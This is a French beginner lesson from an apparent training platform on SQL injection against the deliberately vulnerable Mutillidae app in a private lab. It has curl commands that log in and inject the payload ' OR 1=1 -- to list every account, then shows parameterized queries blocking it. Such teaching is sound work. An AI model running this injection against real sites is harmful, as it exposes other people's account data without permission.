Plus facile à lire avec un fond crème, une teinte, plus de contraste ou un texte plus grand ? Choisissez vos couleurs et votre texte, une fois pour toutes les pages.

Leçon gratuite

Les bases de Mutillidae

La leçon complète est à lire ici. Créez un compte gratuit pour la pratiquer dans un labo en direct.

Labo de conteneurs8 min de lecture5 commandes

Ce que tu vas faire

Un site web demande des informations à une base de données avec une question écrite dans un langage qui s'appelle SQL. Si le site colle directement dans cette question ce que tu tapes, tu peux changer la question. C'est ce qu'on appelle une injection SQL, et c'est l'une des failles les plus courantes du web. Mutillidae est un site construit avec cette faille, exprès. Tu vas chercher un compte, puis changer le nom pour que le site te donne tous les comptes, puis monter le niveau de sécurité et réessayer.

La seule règle

Attention

Ce lab fait tourner un site vulnérable volontairement. Attaque ce site, et rien d'autre. C'est ta copie privée, sans accès à Internet : personne d'autre ne peut être touché. Ne tente jamais ces choses sur un site qui n'est pas à toi : au Royaume-Uni, c'est une infraction pénale d'après le Computer Misuse Act 1990.

Avant de commencer

Remarque

Appuie sur Démarrer le lab dans la barre en haut de cette leçon et attends qu'il indique qu'il tourne. Le site est le service appelé www, et le terminal l'atteint par ce nom. Dans un navigateur, il s'ouvre avec le lien OWASP Mutillidae II de la barre. Chaque bouton Exécuter ci-dessous tape sa commande dans le terminal de ton lab, l'une après l'autre dans la même session. Pour les suivre, ou pour taper tes propres commandes, appuie sur Ouvrir le terminal (nouvel onglet) dans la barre.

1. Se connecter et chercher un compte

La première commande te connecte en tant que admin et garde la connexion dans un fichier appelé jar, comme un navigateur garde un cookie. Elle affiche 302 et une adresse qui finit par AU1 : le site a accepté la connexion et t'a envoyé plus loin. La deuxième demande à la recherche d'utilisateur le nom admin, et seul le nombre de résultats est affiché : 1 records found (« 1 enregistrement trouvé »).

Commande
curl -s -c jar -d "username=admin&password=adminpass&login-php-submit-button=Login" -o /dev/null -w "%{http_code} %{redirect_url}\n" "http://www/index.php?page=login.php"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Commande
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=admin" --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

2. Changer la question

Cette fois, le nom est ' OR 1=1 -- . Le ' a fermé la question du site trop tôt, OR 1=1 a ajouté une condition toujours vraie, et -- a dit à la base d'ignorer tout le reste. Elle répond 40 records found : tous les comptes du site, alors que tu en avais demandé un seul. Le site a fait confiance à ce que tu as tapé.

Commande
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

3. Monter le niveau de sécurité et réessayer

Toggle Security, dans le menu du site, fait passer le niveau de sécurité de 0 à 1, puis à 5. Cette commande appuie dessus deux fois, donc le niveau est 5, que la page affiche à côté de son titre. La deuxième commande est exactement la même injection qu'à l'étape 2, et maintenant elle répond 0 records found. Au niveau 5, le site envoie ton texte séparément de la question : il ne peut être qu'une valeur, jamais une partie de la question. C'est ce qu'on appelle une requête paramétrée, et c'est comme ça qu'un site se protège de cette attaque.

Commande
curl -s -b jar -c jar -L -o /dev/null -o /dev/null "http://www/index.php?do=toggle-security&page=home.php" "http://www/index.php?do=toggle-security&page=home.php"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Commande
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Pour les enseignants

Astuce

Cette leçon est un petit exemple de leçon travaillée dans un lab : les étapes et les boutons Exécuter sont la leçon, et le lab est la copie personnelle de chaque élève. Mutillidae a des dizaines d'autres failles, du cross-site scripting à l'injection LDAP : le même lab peut donc servir pour toute une séquence. Rien n'est corrigé pour vous : demandez une capture d'écran de chaque exercice et une phrase sur ce que le code faisait de mal. Copiez-la dans votre propre module et modifiez-la, ou construisez-en une de zéro avec le menu Lab du créateur de leçons.

À propos de ce labo et de sa source: Lab Mutillidae : s’exercer à l’injection SQL et au XSS sur une application web PHP vulnérable

Vous enseignez à une classe ? Proposez ces leçons à vos élèves avec correction et un labo pour chaque élève.